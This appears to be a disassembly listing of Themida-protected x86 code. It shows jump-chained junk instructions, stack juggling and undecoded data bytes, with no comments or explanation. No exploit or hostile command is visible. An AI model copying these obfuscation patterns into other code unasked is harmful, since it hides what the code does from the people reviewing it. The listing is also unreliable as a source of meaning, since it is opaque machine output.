dup(0) ; --------------------------------------------------------------------------- loc_55DE66: ; CODE XREF: Themida_:005578AEj add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_55B999 ; --------------------------------------------------------------------------- dw 8B66h dd 0E9512404h, 0FFFFE320h, 80E9FA01h, 5F000043h, 4C481h dd 0B9E90000h db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE93: ; CODE XREF: Themida_:00554BD4j cmp eax, edx jz loc_55F7B0 push 4565h jmp loc_5620F9 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8104C483h, 4C3h, 241C8700h, 0FF5E5AE9h, 4B951FFh, 29000000h dd 40E8E9CDh, 0BF57FFFFh, 486A7543h, 0E95FFB29h, 0FFFF6D14h ; --------------------------------------------------------------------------- loc_55DED4: ; CODE XREF: Themida_:00556510j mov ebp, 3E5714ADh jmp loc_551B25 ; --------------------------------------------------------------------------- loc_55DEDE: ; CODE XREF: Themida_:0054FBB6j push esi mov esi, ebp mov ebx, esi pop esi mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ecx, [esp] add esp, 4 sub edi, ebx mov ebx, [esp] add esp, 4 jmp loc_5539A9 ; --------------------------------------------------------------------------- dd 0E9240487h, 1FBCh ; --------------------------------------------------------------------------- loc_55DF18: ; CODE XREF: Themida_:0055A1A0j add eax, 9BE5EEBh pop edx add eax, 4 xchg eax, [esp] mov esp, [esp] loc_55DF29: ; CODE XREF: Themida_:0055F7EDj push 47CFh jmp loc_551E13 ; --------------------------------------------------------------------------- loc_55DF33: ; CODE XREF: Themida_:0055A294j xchg esi, ebp inc esi xchg esi, ebp jmp loc_551C58 ; --------------------------------------------------------------------------- db 51h, 0B1h, 0F2h dd 0FFDC8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55DF45: ; CODE XREF: Themida_:0055848Ej add esp, 4 pop bx push dx mov dl, 22h xor cl, dl jmp loc_557322 ; --------------------------------------------------------------------------- dd 33240431h, 895C2404h, 5A582414h, 38F0EA81h, 0C20103EEh dd 0FFC9C6E9h, 1AE958FFh db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF77: ; CODE XREF: Themida_:0055A744j pop esi jmp loc_560B4F ; --------------------------------------------------------------------------- loc_55DF7D: ; CODE XREF: Themida_:00553E40j add edx, 4 push edi mov edi, 4 add edx, 7ADE3E13h add edx, edi sub edx, 7ADE3E13h jmp loc_558D4B ; --------------------------------------------------------------------------- loc_55DF9C: ; CODE XREF: Themida_:0055EB76j add ebp, 6CD351BBh not ebp inc ebp jmp loc_56181C ; --------------------------------------------------------------------------- dw 0E801h dd 695A9F05h, 174AE948h, 0B753FFFFh, 0C0C7FEC1h, 0B55108EFh dd 59EF08FAh, 0C02BB151h, 0C98008E9h, 0CE180D8h, 0E980D9F6h dd 0AA4FE95Eh, 0F768FFFFh, 8900002Bh, 61E92414h, 0B9FFFF9Eh dd 4, 335DE9h, 24048F00h, 0FF514DE9h, 0D68959FFh, 0F1BE9h dd 0D9C28100h, 52412A27h, 5A2414F7h, 2442BE56h, 0F20913E3h dd 0CBE2815Eh, 0E90A4226h, 0FFFFEA38h, 2C78F8BAh, 5EAC134h dd 5AB7E281h, 0F3E956F6h, 1FFFF3Bh, 9BC581F5h, 5E2FBB69h dd 81E68956h, 4C6h, 4EE8300h, 0E9243487h, 0FFFFD649h ; --------------------------------------------------------------------------- loc_55E050: ; CODE XREF: Themida_:0055C90Bj pop ecx xchg esi, [esp] pop esp jmp loc_5597FF ; --------------------------------------------------------------------------- loc_55E05A: ; CODE XREF: Themida_:0054E8AFj add esi, 4 add esi, 4 xchg esi, [esp] pop esp shl ebx, 2 xor ebx, 36C341ADh dec ebx push ecx mov ecx, 13872EC6h push edi mov edi, 5142169Bh inc edi jmp loc_54E7DE ; --------------------------------------------------------------------------- dw 34FFh dd 0CF5AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E08E: ; CODE XREF: Themida_:0055A35Fj pop ebx push edx jmp loc_5534D5 ; --------------------------------------------------------------------------- loc_55E095: ; CODE XREF: Themida_:00554A47j add edi, 303C1A23h pop ebp jmp loc_54F23D ; --------------------------------------------------------------------------- db 81h, 0C3h, 33h dd 121FD09h, 26F6E9C3h, 0EA290000h, 102C281h, 0E95D6A98h dd 0FFFFEF2Fh, 0EA814A5Bh, 79E7E844h, 148BD709h, 4C48124h dd 53000000h, 0F32928BBh, 8DC38120h, 1F264FBh, 241C8BDFh dd 0FF180FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E0E5: ; CODE XREF: Themida_:005508CDj sub esi, eax pop eax push esi push dword ptr [esp+4] pop esi jmp loc_5622A4 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 2434FF24h, 4C48358h, 0FF3B44E9h, 0EC8151FFh dd 4, 0B8240489h, 7350BB5Dh, 5558C189h, 0FF44B7E9h, 4FE95AFFh db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E123: ; CODE XREF: Themida_:0055AB01j pop esi not esi xchg esi, ebx jmp loc_55D23B ; --------------------------------------------------------------------------- db 2Dh, 51h, 28h dd 0A005798Ah, 0F77AC008h, 0F14405D8h, 2E94CFDh, 89FFFFAFh dd 4C281E2h, 81000000h, 4C2h, 9B9DE900h, 8953FFFFh, 0C3F8E9E3h dd 0EF81FFFFh, 1C5C3547h, 815FFE01h, 4C6h, 4EC8300h, 0FF243489h dd 0FF042474h, 348B2434h, 4C48324h, 6FDE9h, 0D4ED8100h dd 812AB24Bh, 0E90BCFC1h, 90685347h, 0E940246Ah, 0FFFF3D2Ah ; --------------------------------------------------------------------------- loc_55E19C: ; CODE XREF: Themida_:005536A7j pop esi jmp loc_550991 ; --------------------------------------------------------------------------- dw 0E956h dd 0FFFF5D33h ; --------------------------------------------------------------------------- loc_55E1A8: ; CODE XREF: Themida_:005551B9j pop edi add eax, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 47F5313Fh jmp loc_55FAB9 ; --------------------------------------------------------------------------- dd 0FEFC04E9h, 240C89FFh, 22204CB9h, 0A9BD5504h, 504CC530h dd 5C2B50B8h, 58C5010Eh, 0EFC4C581h, 0EA29C09Ah, 8D14E95Dh dd 0E929FFFFh, 81D1015Dh, 9763CDC1h, 0E9525A0Ch, 0DA5h dd 0E781EFD1h, 7FFE4DA4h, 9C54C781h, 81576900h, 47D82434h dd 81590FCCh, 0CC47D8F1h, 0CA315F0Fh, 5BA06859h, 1C890000h dd 0E9D38924h, 0FFFFFAF4h, 77E95966h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E22F: ; CODE XREF: Themida_:00561CA8j push ebp mov ebp, esi push ebp push ebp push edx jmp loc_54F457 ; --------------------------------------------------------------------------- loc_55E23A: ; CODE XREF: Themida_:0055166Bj jmp loc_54DDC5 ; --------------------------------------------------------------------------- db 0ADh dd 5652D831h, 3F16A7BEh, 76E9504Bh, 25FFFF6Fh, 1F37585Dh dd 99D5A905h, 8BC3016Eh, 89502404h, 7B39E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E266: ; CODE XREF: Themida_:0055616Dj push ecx push 2FD3h mov [esp], ebp mov ebp, esp jmp loc_56290D ; --------------------------------------------------------------------------- loc_55E276: ; CODE XREF: Themida_:00556CE1j mov [esp], ebp push edx pop ebp jmp loc_5508A6 ; --------------------------------------------------------------------------- dd 4C481h, 0F8300000h, 0FF8D10E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E28D: ; CODE XREF: Themida_:00555000j sub ebx, 747923D3h jmp loc_5609AD ; --------------------------------------------------------------------------- loc_55E298: ; CODE XREF: Themida_:0055FA40j mov ebp, 4 push edi mov edi, 6D8922B6h sub edx, edi jmp loc_55A7CD ; --------------------------------------------------------------------------- dw 805Bh dd 0B55135F2h, 6C580F8h, 0FF04BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E2B9: ; CODE XREF: Themida_:0055B2C1j pop esi add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_550C8B ; --------------------------------------------------------------------------- loc_55E2CB: ; CODE XREF: Themida_:005508A9j xor ebp, ebx xor ebx, ebp jmp loc_558A3F ; --------------------------------------------------------------------------- dd 51240C8Bh, 0C181E189h, 4, 0FF195DE9h, 4C583FFh, 31242C33h dd 0EEE9242Ch, 89000016h, 4BF243Ch, 1000000h, 243C8BF8h dd 0E904C483h, 0FFFF9D13h ; --------------------------------------------------------------------------- loc_55E308: ; CODE XREF: Themida_:0055CF64j push ecx mov ecx, esp add ecx, 4 push ebx mov ebx, 4 sub ecx, ebx mov ebx, [esp] add esp, 4 xchg ecx, [esp] pop esp mov [esp], esi push 1 mov esi, [esp] push edi jmp loc_55B2AE ; --------------------------------------------------------------------------- db 30h dd 2434FFF8h, 81241C8Bh, 4C4h, 4C48100h, 88000000h, 3B27E9C5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E352: ; CODE XREF: Themida_:00555D61j push ebx mov bh, 0ADh mov ah, bh pop ebx jmp loc_552DC3 ; --------------------------------------------------------------------------- loc_55E35D: ; CODE XREF: Themida_:00554562j push ebp push 20E3668Dh mov ebp, [esp] push esi mov esi, esp push ebx push 43C12ED8h mov ebx, [esp] add esp, 4 and ebx, 2D6334DAh shl ebx, 5 neg ebx neg ebx jmp loc_54DEF0 ; --------------------------------------------------------------------------- dw 0BF57h dd 3496F02h, 4E4EF781h, 0FE31729Dh, 8BF7895Fh, 0C4832434h dd 59C58104h, 0E96BDF66h, 0FFFF3FE4h ; --------------------------------------------------------------------------- loc_55E3AC: ; CODE XREF: Themida_:0055293Fj pop eax mov cl, bl jmp loc_55AB7B ; --------------------------------------------------------------------------- loc_55E3B4: ; CODE XREF: Themida_:00551118j inc esi xor esi, 986FF5C5h sub eax, 1E701260h sub eax, esi jmp loc_559A52 ; --------------------------------------------------------------------------- loc_55E3C7: ; CODE XREF: Themida_:0055BA0Ej xor edi, 37056D56h pop edx sub edi, 5C544296h jmp loc_554B9D ; --------------------------------------------------------------------------- aD9aSI db '¸„9a"S»©',0 dw 607h dd 7DE9DD89h, 28FFFF13h, 0C38059CBh, 240C8B77h, 4C481h dd 1AE90000h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E3FF: ; CODE XREF: Themida_:0055F7DDj push cx mov ch, 53h shl ch, 2 not ch dec ch shl ch, 4 sub ch, 5Bh jmp loc_5617CE ; --------------------------------------------------------------------------- loc_55E415: ; CODE XREF: Themida_:0055D78Dj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_558411 ; --------------------------------------------------------------------------- loc_55E42C: ; CODE XREF: Themida_:00561D53j add ecx, esi pop esi push ecx mov ecx, esp jmp loc_55671D ; --------------------------------------------------------------------------- db 5 dd 66EC329Eh, 9E2DD829h, 566EC32h, 59B72ED7h, 5B2434FFh dd 0D6E95450h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E453: ; CODE XREF: Themida_:00560ECEj add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_5544A6 ; --------------------------------------------------------------------------- loc_55E460: ; CODE XREF: Themida_:00562397j pop ax push eax push ebx mov bl, 0B5h mov al, bl pop ebx push ebx mov bl, 0A0h jmp loc_55293A ; --------------------------------------------------------------------------- db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5562E7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSu db '$éî%',0 align 2 dw 0FBBFh dd 817D2854h, 0D97702EBh, 81FB2904h, 0D97702C3h, 0EC835F04h dd 24148904h, 3C709CBAh, 1EEA8171h, 0F75BDF61h, 87E950D2h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E4BF: ; CODE XREF: Themida_:0055B655j mov ecx, esp jmp loc_55593C ; --------------------------------------------------------------------------- dw 0D5F7h dd 391EF581h, 0F5816FBAh, 17434E1Eh, 88AFED81h, 0E95570EEh dd 0FFFF6123h, 6B06859h, 1C890000h, 62C3BB24h, 0D3F76762h dd 51FFEB83h, 5F1D65B9h, 0F9E9413Dh db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E4FF: ; CODE XREF: Themida_:0055B7F5j add edi, 40FA0501h xor edi, 6E297BCBh dec edi xor edi, 28374AE3h mov ebx, edi pop edi sub eax, ebx pop ebx xchg eax, [esp] pop esp jmp loc_54E9F1 ; --------------------------------------------------------------------------- db 58h, 89h, 0DAh dd 59B8505Bh, 567B8F06h, 707DB9BEh, 4B7BE93Bh, 0E9ACFFFFh dd 0FFFFE5EDh, 352BF57h, 0EFC13562h, 83F78102h, 312244DBh dd 243C8BFBh, 5304C483h, 0F353E6BBh, 0B6C0E97Ah, 0D168FFFFh dd 8900000Ch, 0E389241Ch, 0FFE2D3E9h, 2A482DFFh, 2C8B2F8Dh dd 4C48124h, 87000000h, 75E92404h, 83FFFFC3h, 0C6E904E8h dd 5AFFFF4Bh, 3157E9h, 242C8B00h, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 4EC81h, 3C890000h, 4BF24h, 0F8010000h, 0FF267CE9h dd 59C829FFh, 4EE9C731h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E5C3: ; CODE XREF: Themida_:0055D27Aj pop esi jmp loc_560493 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 68241C89h, 0FEh, 0DF89575Bh, 242C8157h, 32727F88h, 0D52E95Ah dd 535D0000h, 4D2BF57h, 3EE94FE3h, 5D00002Eh, 630BCF81h dd 0F1E901B4h, 6800000Fh, 27C6h, 0B9240C89h, 2, 2EC468h dd 124E900h, 0BA52FFFFh, 1, 39E9D701h, 56FFFFB0h, 28E9E689h dd 68FFFF39h, 40h, 0FF457CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E635: ; CODE XREF: Themida_:0055183Cj sub ecx, eax mov eax, [esp] push 5DABh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_552AB5 ; --------------------------------------------------------------------------- loc_55E658: ; CODE XREF: Themida_:0055EF17j mov ecx, 2F9042EEh sub edx, ecx pop ecx jmp loc_551716 ; --------------------------------------------------------------------------- loc_55E665: ; CODE XREF: Themida_:00550398j xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ecx push esi push edx push 4CAD4AFBh pop edx jmp loc_5557B5 ; --------------------------------------------------------------------------- loc_55E67E: ; CODE XREF: Themida_:00561B70j pop edi and esi, edi pop edi jmp loc_551759 ; --------------------------------------------------------------------------- db 81h dd 6A1BB3C2h, 81F22949h, 6A1BB3EAh, 1CF16849h, 22E90000h dd 5AFFFFFBh, 4BD55h, 0C1E90000h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E6AB: ; CODE XREF: Themida_:005511E1j push 2566h mov [esp], edx jmp loc_54F76F ; --------------------------------------------------------------------------- dd 0DB2EF181h, 0EAE9DA06h, 0BE000040h, 184C258Fh, 65C6BA52h dd 0D60946F9h, 0A98BE95Ah, 1C8BFFFFh, 4C48324h, 0FFBA42E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E6E1: ; CODE XREF: Themida_:0055047Ej mov ebp, [esp] add esp, 4 push ecx push eax mov eax, 36273EBFh mov ecx, eax jmp loc_55B5FB ; --------------------------------------------------------------------------- loc_55E6F8: ; CODE XREF: Themida_:0055A9C6j pop eax pop edx jmp loc_5576AC ; --------------------------------------------------------------------------- db 89h dd 91E92404h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E707: ; CODE XREF: Themida_:00559BAEj pop ebx push ecx mov ecx, 5CDB258Eh neg ecx xor ecx, 0A324DA76h add ebp, ecx pop ecx xchg ebp, [esp] pop esp not edi sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 sub esp, 4 mov [esp], edi jmp loc_554E36 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0BB530000h, 4, 5C2DC581h, 0DD290F67h, 0FF6607E9h dd 52E389FFh, 4BAh, 5AD30100h, 0FF1149E9h, 240481FFh, 4 dd 0FF4CA6E9h, 2434FFFFh, 4EC8158h, 89000000h, 0E189240Ch dd 11BCBD55h, 0EDC1393Dh, 0C4F58105h, 814E0D32h, 9B4B10EDh dd 33B2E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E79E: ; CODE XREF: Themida_:00552D92j pop edx add eax, 6F7F7940h push edi mov edi, 3DE86C42h jmp loc_554782 ; --------------------------------------------------------------------------- db 0B9h dd 4, 4244C01h, 4055859h, 68000000h, 404Fh, 0FFA630E9h dd 241489FFh, 42474FFh, 8324148Bh, 48F04C4h, 11ECE924h dd 0E5B90000h, 81114569h, 951518C9h, 81D9F71Ch, 7240E0C9h dd 8E9C17Ah, 72E98149h, 31869C00h, 0E82959CDh, 2434FF5Dh dd 0FF5D8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E809: ; CODE XREF: Themida_:0055444Bj not edi xchg eax, edi xor [esp], eax xor eax, [esp] jmp loc_562528 ; --------------------------------------------------------------------------- db 87h dd 2FE9241Ch, 0FF000018h, 34FF2434h, 0C4815A24h, 4, 89868h dd 24048900h, 815E5456h, 4C6h, 4EE8300h, 5C243487h, 51242489h dd 0FFFF62E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E84D: ; CODE XREF: Themida_:00555540j or ecx, 45293FCEh shl ecx, 8 push ebp mov ebp, 25481B51h push edx mov edx, 119E6A57h xor ebp, edx jmp loc_55A0DA ; --------------------------------------------------------------------------- db 64h, 88h, 2 dd 0FEF554E9h, 0A1B951FFh, 315C2EE5h, 0D30159CAh, 5443E95Ah dd 0DF68FFFFh, 8900005Bh, 0E0892404h, 405h, 4C08300h, 5C240487h dd 8B24048Fh, 89562424h, 194868E6h, 4890000h, 3967B824h dd 0A9E91974h db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E8B3: ; CODE XREF: Themida_:0055FDA1j xchg edx, [esp] pop esp jmp loc_54F2D5 ; --------------------------------------------------------------------------- dd 89242C89h, 4C581E5h, 81000000h, 4EDh, 242C3300h, 0E9242C31h dd 0FFFFD84Eh, 5B6A8B0Dh, 30BD5510h, 313CE92Ch, 9A2D5DE8h dd 0D671B20h, 0E771C7Ch, 0FFB61DE9h, 5FFD09FFh, 0FF0A5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E8FD: ; CODE XREF: Themida_:005625EEj push edx mov edx, ebp mov ebx, edx jmp loc_5564FE ; --------------------------------------------------------------------------- db 1 dd 85E958C7h, 59FFFF4Ch, 575FF989h, 6B7F21BFh, 5FFA296Dh dd 0C281CA29h, 6D6B7F21h, 24148759h, 0B69AE95Ch, 0EEB9FFFFh dd 0C107C125h, 0F18107E9h, 4E980872h, 19FFC981h, 0CAE97FEFh dd 87000028h, 895C243Ch, 2BB241Ch, 1000000h, 90685BDAh dd 0E900001Ch, 0FFFF9954h ; --------------------------------------------------------------------------- loc_55E960: ; CODE XREF: Themida_:00553C7Cj mov [esp], ebp mov ebp, 7193371Ah jmp loc_560B3E ; --------------------------------------------------------------------------- loc_55E96D: ; CODE XREF: Themida_:0055AC6Fj mov esp, [esp] test cx, ax pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_55E979: ; CODE XREF: Themida_:005575CAj mov ebp, 0E654CF7h push ebp add dword ptr [esp], 19720CB0h pop ecx jmp loc_551824 ; --------------------------------------------------------------------------- dd 731BA66h, 176AE9h db 0 ; --------------------------------------------------------------------------- loc_55E995: ; CODE XREF: Themida_:0055255Bj xchg esi, [esp] pop esp jmp loc_561307 ; --------------------------------------------------------------------------- dw 8B66h dd 4EE92404h, 81FFFFCBh, 0A4CB8BC1h, 59CA09E2h, 0FF1EDBE9h dd 4BB53FFh, 1000000h, 34875BDEh, 0C3305C24h, 66C0B60Fh dd 0E987048Fh, 0FFFEF3F5h, 0F75EF289h, 11EA81DAh, 0E9102B23h dd 6F4h ; --------------------------------------------------------------------------- loc_55E9E0: ; CODE XREF: Themida_:0055C774j pop ebp push esi jmp loc_5619AF ; --------------------------------------------------------------------------- loc_55E9E7: ; CODE XREF: Themida_:0055ED01j add esp, 4 sub [edi+24h], eax push dword ptr [esp] jmp loc_553E27 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4682404h, 58000000h, 5BBAC381h, 0C3010683h dd 5BBAEB81h, 0E9580683h, 0FFFF6F68h ; --------------------------------------------------------------------------- loc_55EA18: ; CODE XREF: Themida_:0054E735j pop ebp push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], ebx push ebx jmp loc_55B436 ; --------------------------------------------------------------------------- dw 92E9h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55EA33: ; CODE XREF: Themida_:0055243Aj not edx jmp loc_550149 ; --------------------------------------------------------------------------- dw 0FFBFh dd 81FFFFFFh, 0E17399C3h, 8BF5749h, 109CF11h, 0EB815FFBh dd 8C52591h, 0C381FB29h, 8C52591h, 1108EB81h, 58E909CFh dd 81000035h, 7004246Ch, 0E95BB545h, 0FFFF2492h, 0BD554Eh dd 29000000h, 5DEE87F5h, 420DB951h, 0D9F75EDCh, 0A2E98141h dd 0E92D3078h, 0FFFFD436h, 4BAh, 5AD12900h, 0FFB57BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EAA1: ; CODE XREF: Themida_:0055165Aj xor edi, 0FDEBB257h jmp loc_551DA3 ; --------------------------------------------------------------------------- loc_55EAAC: ; CODE XREF: Themida_:00552CC9j sub dh, ch pop ecx push dword ptr [esp] pop eax jmp loc_5545A3 ; --------------------------------------------------------------------------- loc_55EAB8: ; CODE XREF: Themida_:005583E1j push dword ptr [esp] pop eax add esp, 4 push 2310h mov [esp], ebp mov ebp, 3D7E55EEh push ecx mov ecx, 636D2932h jmp loc_551ED4 ; --------------------------------------------------------------------------- db 5 dd 7AC8145Ah, 7FEE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EAE2: ; CODE XREF: Themida_:0055CA88j add dword ptr [edi+20h], 34673B89h push dword ptr [esp] jmp loc_5622EB ; --------------------------------------------------------------------------- loc_55EAF1: ; CODE XREF: Themida_:00561D87j mov edx, [esp] add esp, 4 sub edx, 3371CB7Ah push edx jmp loc_5627D9 ; --------------------------------------------------------------------------- db 5Bh dd 815AD689h, 751E0C6h, 84CE8119h, 812A1227h, 5B36DAC6h dd 0E9575250h, 0FFFF9AD0h, 4BBCC281h, 0FA292DF3h, 4BBCEA81h dd 525F2DF3h, 42474FFh, 8124148Bh, 4C4h, 24048F00h, 2404895Ch dd 0E924048Bh, 0FFFF3EB5h ; --------------------------------------------------------------------------- loc_55EB4C: ; CODE XREF: Themida_:00552573j push esi push 722Fh jmp loc_554079 ; --------------------------------------------------------------------------- db 31h dd 24048BC2h, 3104C483h, 0B8505AD7h, 136970C4h, 6F142A05h dd 0A191E9C1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EB72: ; CODE XREF: Themida_:00551D97j mov ebp, eax pop eax pop edx jmp loc_55DF9C ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 4EC81h, 14890000h, 4A7BE924h, 2C33FFFFh dd 496EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_556558 ; --------------------------------------------------------------------------- loc_55EBB2: ; CODE XREF: Themida_:00556F76j add ebx, 2EDA2116h pop ecx sub ebx, 2 jmp loc_54FF57 ; --------------------------------------------------------------------------- dd 241CF766h, 11F4E99Ch, 0E2C10000h, 83B95107h, 12C0317h dd 0B85059CAh, 305F0FB4h, 0A30B8635h, 2ECEE96Bh, 4040FFFFh dd 72227B05h, 0FC5E914h, 5152FFFFh, 602B6CB9h, 0D769BA0Bh dd 0CA31B49Fh, 50952D59h, 0D001196Bh, 6B509505h, 0C1815A19h dd 5E695E02h, 0E3E9C101h, 8300003Ch, 0F80004C4h, 0DB95E95Bh dd 2C89FFFFh, 0C4E95424h, 87FFFF08h, 248B242Ch, 0F0EBE924h dd 0BB53FFFFh, 0F41BDEE6h, 515BDE31h, 0E0294DB9h, 5E9C14Ch dd 0FF3D8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EC55: ; CODE XREF: Themida_:00559D17j add esi, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_54F087 ; --------------------------------------------------------------------------- dd 68240C89h, 165Fh, 83242489h, 59042404h, 4BB53h, 0E9810000h dd 6131FF1h, 0C181D901h, 6131FF1h, 4E9815Bh, 87000000h dd 895C240Ch, 0E6892434h, 1105E9h, 9AEB8100h, 0E90EC176h dd 0FFFFC704h, 0E9243489h, 0FFFF1A20h, 0E906E1C1h, 0FFFFEECAh dd 875FFD29h, 895C242Ch, 0F1E9241Ch db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECCB: ; CODE XREF: Themida_:00551A23j add ecx, 71A5798Dh sub ecx, 0D7734968h jmp loc_5619E1 ; --------------------------------------------------------------------------- dd 0C681E689h, 4, 24A1E9h, 0CE98100h, 1001104h, 5FD9E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECF6: ; CODE XREF: Themida_:00554222j add edx, 4CB06932h add eax, edx mov edx, [esp] jmp loc_55E9E7 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BE243489h, 4, 2816BA52h, 0EA811D77h, 138F454Ah dd 0FF4B30E9h, 4EC81FFh, 89000000h, 0ECE92414h, 59FFFF6Ah dd 8904EC83h, 0DEE92434h, 59FFFF34h, 81E28952h, 4C2h, 4C28300h dd 5C241487h, 4BF57h, 0C6810000h, 2D8A1780h, 2AFDEE81h dd 8DE92742h, 51FFFFB9h, 0E2060EB9h, 694BBA02h, 0C281FE25h dd 2DA55E49h, 0EA81CA01h, 2DA55E49h, 83240C8Bh, 0C2E904C4h dd 5AFFFF6Bh, 0BC5EB105h, 2DF80106h, 6BC5EB1h, 0E92434FFh dd 0FFFF85F7h, 0DBAE94Bh, 0C581FFFFh, 2E0F3646h, 0B27C581h dd 34FF116Dh, 0C4815924h, 4, 31242C33h, 2C33242Ch, 0E1D2E924h dd 1C87FFFFh, 3EE95C24h db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDD3: ; CODE XREF: Themida_:005506C1j pop esp mov [esp], ebp push ebx jmp loc_54DE75 ; --------------------------------------------------------------------------- db 5Ch, 89h, 34h dd 0FAB1E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55EDE6: ; CODE XREF: Themida_:0055DC74j neg ebp jmp loc_5504EA ; --------------------------------------------------------------------------- loc_55EDED: ; CODE XREF: Themida_:005532DCj or ecx, 32CF1239h jmp loc_55F108 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0FFFF935Eh, 5FFB015Dh dd 8904EC83h, 0D0E9241Ch db 0Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE1B: ; CODE XREF: Themida_:00561B99j push edx jmp loc_54F77B ; --------------------------------------------------------------------------- loc_55EE21: ; CODE XREF: Themida_:00561601j mov esp, [esp] push eax sub esp, 4 sub esp, 4 push esp jmp loc_55667C ; --------------------------------------------------------------------------- loc_55EE34: ; CODE XREF: Themida_:0055D96Ej push edi mov edi, 61BE5372h shr edi, 4 add edi, 81E6BD82h add edx, 495B37E3h add edx, edi sub edx, 495B37E3h mov edi, [esp] add esp, 4 push esi push edx jmp loc_55037C ; --------------------------------------------------------------------------- db 59h, 0E9h, 11h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EE67: ; CODE XREF: Themida_:00553CDEj push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 add esp, 4 jmp loc_5518D4 ; --------------------------------------------------------------------------- dd 42474FFh, 81243C8Bh, 4C4h, 0A611E900h, 2C8BFFFFh, 0A2C9E924h dd 8950FFFFh, 9FE956E0h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE9F: ; CODE XREF: Themida_:0055002Bj mov esi, 4 jmp loc_55181D ; --------------------------------------------------------------------------- db 0B8h, 0B6h, 3Ch dd 1FE9152Eh, 50FFFF8Ch, 405E089h, 83000000h, 0E1E904C0h dd 29FFFF31h, 240C8BCAh, 81E78957h, 4C7h, 0AA04E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EED6: ; CODE XREF: Themida_:0055964Cj sub ebx, edi sub ebx, 1EDD09C9h pop edi push ebx jmp loc_560CE9 ; --------------------------------------------------------------------------- loc_55EEE5: ; CODE XREF: Themida_:0055ABBAj sub ecx, esi pop esi sub edi, ecx jmp loc_5515B1 ; --------------------------------------------------------------------------- db 5 dd 4, 42Dh, 24048700h, 0FF1E76E9h, 4B8FFh, 0C2890000h dd 0FF54CFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EF0D: ; CODE XREF: Themida_:0055B604j push ecx add dword ptr [esp], 2F9042EEh pop edx push ecx jmp loc_55E658 ; --------------------------------------------------------------------------- dd 0DCEE815Ah, 29497279h, 0DCC681CEh, 59497279h, 44F1E981h dd 0AFE974B4h, 80FFFF22h, 95E92DF7h, 81000024h, 1D7673C5h dd 37ED814Fh, 8B5B902Fh, 0C4832404h, 19EFE904h, 0B8500000h dd 2EE24416h, 2414F750h, 8CBA5258h, 0E94E5743h, 0FFFF7206h ; --------------------------------------------------------------------------- loc_55EF6C: ; CODE XREF: Themida_:00555D0Aj mov ebx, 721E3F78h shr 